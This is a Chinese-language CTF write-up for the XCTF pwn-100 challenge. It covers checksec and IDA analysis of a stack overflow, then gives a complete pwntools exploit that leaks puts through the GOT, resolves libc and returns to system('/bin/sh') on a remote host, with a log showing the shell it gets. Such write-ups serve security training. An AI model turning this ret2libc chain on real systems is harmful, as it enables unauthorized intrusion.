XCTF-CHALLENGE-PWN-100

checksec

hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec pwn-100
[*] '/home/hunter/PWN/XCTF/xctf_challenge/pwn-100'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
基操

IDA

main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  sub_40068E();
  return 0LL;
}

int sub_40068E()
{
  char v1; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&v1, 200);                // read(0,&v1,200)
  return puts("bye~");
}

__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
  __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (signed int)i >= a2 )        
      break;
    read(0, (void *)((signed int)i + a1), 1uLL);
  }
  return result;
}

关键函数在于sub_40063D,功能和read函数一样read(0,&v1,200),但这里强制读满200个字符

思路

  • sub_40068E函数中的sub_40063D实现了read函数的功能,可以控制程序流程
  • 没有system,/bin/sh,更没有后门
  • 用puts函数泄露真实地址,获取libc版本,从而获取system,/bin/sh
  • 所以进行两次攻击

EXP

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'

elf = ELF('./pwn-100')
libc_start_main_got = elf.got['__libc_start_main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x0000000000400763
start_addr = 0x000400550
#sh = process('./pwn-100')
sh = remote('220.249.52.133',54326)
ret = 0x00000000004004e1
payload = 'A'*0x40 
payload += 'A'*8
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(start_addr)
payload += 'B'*(200-len(payload))

sh.sendline(payload)
print sh.recvuntil('bye~\n')
#puts_addr = u64(sh.recv(6)+'\x00'*2)
st_r = sh.recv().split('\n')[0] //去除后面的\n
for i in range(len(st_r),8):  //填满八个字节
    st_r += '\x00'
#libc_start_main_addr = u64(sh.recv(6)+'\x00'*2)
puts_addr = u64(st_r)
print str(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr-libc.dump('puts')
system_addr = libc_addr + libc.dump('system')
bin_sh_addr = libc_addr + libc.dump('str_bin_sh')

payload1 = 'B'*0x40
payload1 += 'A'*7   //本来放8个A填充RBP但是不知到为啥会占用下面地址的内存,从而无法实现跳转,大佬请留言
payload1 += p64(ret)
payload1 += p64(pop_rdi_ret)
payload1 += p64(bin_sh_addr)  //binsh真实地址
payload1 += p64(system_addr)  //system真实地址
payload1 += p64(0xdeadbeef)  
payload1 += 'B'*(200-len(payload1))
#gdb.attach(sh)
sh.sendline(payload1)
print sh.recv()

sh.interactive()

结果:

[DEBUG] Received 0x4 bytes:
    'bye~'
bye~
[*] Switching to interactive mode
[DEBUG] Received 0x1a bytes:
    '\n'
    '/bin/sh: 1: B: not found\n'

/bin/sh: 1: B: not found
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x24 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'pwn100\n'
bin
dev
flag
lib
lib32
lib64
pwn100

  转载请注明: Squarer XCTF-CHALLENGE-PWN-100

  目录